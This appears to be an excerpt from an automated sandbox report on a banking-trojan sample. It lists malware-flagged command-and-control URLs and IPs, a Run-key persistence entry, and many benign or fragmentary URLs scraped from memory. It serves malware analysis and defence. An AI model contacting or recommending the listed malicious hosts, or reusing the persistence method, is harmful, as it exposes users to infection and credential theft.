http://xtbbpqfrsubt.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://wwgfyvvdtmeq.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://mfueeimvyrsp.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://assets.activity.windows.comer	0%	Avira URL Cloud	safe
https://mths.be/fromcodepoint	0%	Avira URL Cloud	safe
http://spaines.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://powerpoint.office.comxee	0%	Avira URL Cloud	safe
https://www.ng.com	0%	Avira URL Cloud	safe
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://xsts.auth.xboxlive.comm	0%	Avira URL Cloud	safe
http://cmnsgscccrej.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://assets.activity.windows.coms	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	Avira URL Cloud	safe
https://excel.office.comcp	0%	Avira URL Cloud	safe
https://activity.windows.comt	0%	Avira URL Cloud	safe
http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	100%	Avira URL Cloud	malware
https://login.windows.local/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vcklmnnejwxx.pw	216.218.185.162	true	true	unknown
mfueeimvyrsp.pw	216.218.185.162	true	true	unknown
wwgfyvvdtmeq.pw	216.218.185.162	true	true	unknown
fccfxejgtpqb.pw	216.218.185.162	true	true	unknown
cmnsgscccrej.pw	216.218.185.162	true	true	unknown
vrmtybxxpddg.pw	216.218.185.162	true	true	unknown
utmyhnffxpcj.pw	216.218.185.162	true	true	unknown
xtbbpqfrsubt.pw	216.218.185.162	true	true	unknown
gfnlmtcolrrb.pw	216.218.185.162	true	true	unknown
uyhgqunqkxnx.pw	45.77.249.79	true	true	unknown
spaines.pw	216.218.185.162	true	true	unknown
evbsdqvgmpph.pw	216.218.185.162	true	true	unknown
fkmmvfeonnyh.pw	216.218.185.162	true	true	unknown
rvqlfnedcldh.pw	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://evbsdqvgmpph.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://fccfxejgtpqb.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://uyhgqunqkxnx.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://spaines.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://xtbbpqfrsubt.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://wwgfyvvdtmeq.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://cmnsgscccrej.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://mfueeimvyrsp.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://gfnlmtcolrrb.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://vcklmnnejwxx.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown
http://fkmmvfeonnyh.pw/EiDQjNbWEQ/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets	svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingaotak	SearchApp.exe, 0000000B.00000000.1749414495.000002434119B000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1761686627.0000024B4239F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://excel.office.com	explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.office.com/M365.Access	SearchApp.exe, 0000000B.00000000.1774346407.0000024B447CF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000003.00000000.1640019930.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/SubstrateSearch-Internal.ReadWriteO	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000003.00000002.3058572833.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1640019930.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000003.00000000.1640019930.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.com	explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.live.com/owa	SearchApp.exe, 0000000B.00000000.1758577403.0000024B420F9000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/finance?OCID=WSB_TL_FN&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000005.00000002.2908871960.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714413408.00000151A4A65000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://outlook.com	StartMenuExperienceHost.exe, 00000009.00000000.1726392280.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2908493718.000001B9814D0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com	SearchApp.exe, 0000000B.00000000.1814959925.0000024B5542F000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/	svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/search/api/v1/events?scenario=	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingrms	SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comxee	StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfillsThis	SearchApp.exe, 0000000B.00000000.1780439279.0000024B44916000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com/	svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net	svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 00000003.00000000.1640019930.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3058572833.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xsts.auth.xboxlive.com	svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766426485.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://mths.be/fromcodepoint	SearchApp.exe, 0000000B.00000000.1854349272.0000024B5843A000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000003.00000000.1638748938.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1636906084.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.1637467440.0000000008720000.00000002.00000001.00040000.00000000.sdmp, RuntimeBroker.exe, 0000000A.00000002.2954695107.000001ECFC470000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.office.com/	SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.local	svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ng.com	SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/weather?OCID=WSB_QS_WE&PC=wsbmsnqs	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1766890934.0000024B44184000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/	SearchApp.exe, 0000000B.00000000.1804409730.0000024B54E44000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://graph.windows.net/	SearchApp.exe, 0000000B.00000000.1774416665.0000024B447D3000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://substrate.office.com/search/api	SearchApp.exe, 0000000B.00000000.1769556330.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.comm	SearchApp.exe, 0000000B.00000000.1766426485.0000024B4402B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1636127493.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://loki.delve.office.com/api	SearchApp.exe, 0000000B.00000000.1769556330.0000024B443C2000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.comer	svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/news?OCID=WSB_QS_NE&PC=wsbmsnqshttps://www.msn.com/sports?OCID=WSB_TL_EL&PC=wsbm	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55240000.00000004.00000001.00020000.00000000.sdmp	false		high
https://reactjs.org/docs/error-decoder.html?invariant=	SearchApp.exe, 0000000B.00000000.1803975206.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	false		high
https://assets.activity.windows.coms	svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=wsb	SearchApp.exe, 0000000B.00000000.1757604184.0000024B41F45000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.comt	svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://substrate.office.com/search/api/v2/queryetItemChttps://substrate.office365.us/search/api/v2/	SearchApp.exe, 0000000B.00000000.1811664629.0000024B5530E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.local/	svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/Vh5j3k	explorer.exe, 00000003.00000000.1636127493.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000003.00000002.3032615601.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.office365.com/mail/deeplink/attachment/	SearchApp.exe, 0000000B.00000000.1810169868.0000024B55259000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfills	SearchApp.exe, 0000000B.00000000.1803975206.0000024B54DA0000.00000004.00000001.00040000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 00000003.00000002.3032615601.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1637966604.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com	svchost.exe, 00000005.00000002.2910596872.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714440936.00000151A4A90000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000005.00000002.2907008745.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714465994.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2912066830.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000005.00000000.1714381693.00000151A4A41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comcp	StartMenuExperienceHost.exe, 00000009.00000000.1726328708.000001B981425000.00000004.00000001.00020000.00000000.sdmp, StartMenuExperienceHost.exe, 00000009.00000002.2904840792.000001B981425000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000003.00000000.1636127493.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2975916744.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.218.185.162	vcklmnnejwxx.pw	United States	6939	HURRICANEUS	true
45.77.249.79	uyhgqunqkxnx.pw	United States	20473	AS-CHOOPAUS	true
173.222.162.32	unknown	United States	35994	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1366396
Start date and time:	2023-12-22 21:30:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	35
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	java.exe
Detection:	MAL
Classification:	mal100.bank.expl.evad.winEXE@10/12@14/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 123 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.91.175.14, 104.91.175.60, 104.91.175.23, 72.21.81.240
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: java.exe

Simulations

Behavior and APIs

Time	Type	Description
20:31:00	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run F90F00A9 C:\Users\user\AppData\Roaming\F90F00A9\bin.exe
20:31:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run F90F00A9 C:\Users\user\AppData\Roaming\F90F00A9\bin.exe
21:30:53	API Interceptor	980x Sleep call for process: explorer.exe modified
21:31:00	API Interceptor	1x Sleep call for process: winver.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
216.218.185.162	PrintWiz.exe	Get hash	malicious	Tinba	Browse	pxscpwnnqujq.net/el0hjkd76ghs65dhj0it/
	java.exe	Get hash	malicious	Tinba	Browse	cmnsgscccrej.pw/EiDQjNbWEQ/
	3G36K54KKw.exe	Get hash	malicious	Tinba	Browse	ve0t182er814kok.cc/vet0up7gj67sdhjd17up0er/
	http://hbjtorutqkl.org	Get hash	malicious	Unknown	Browse	hbjtorutqkl.org/
